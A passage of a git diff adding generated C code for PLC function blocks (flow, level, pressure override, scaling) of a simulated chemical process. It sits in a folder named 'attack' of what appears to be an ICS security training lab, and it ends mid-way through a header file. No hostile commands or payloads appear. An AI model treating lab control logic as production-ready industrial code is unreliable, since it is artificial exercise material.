(REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - 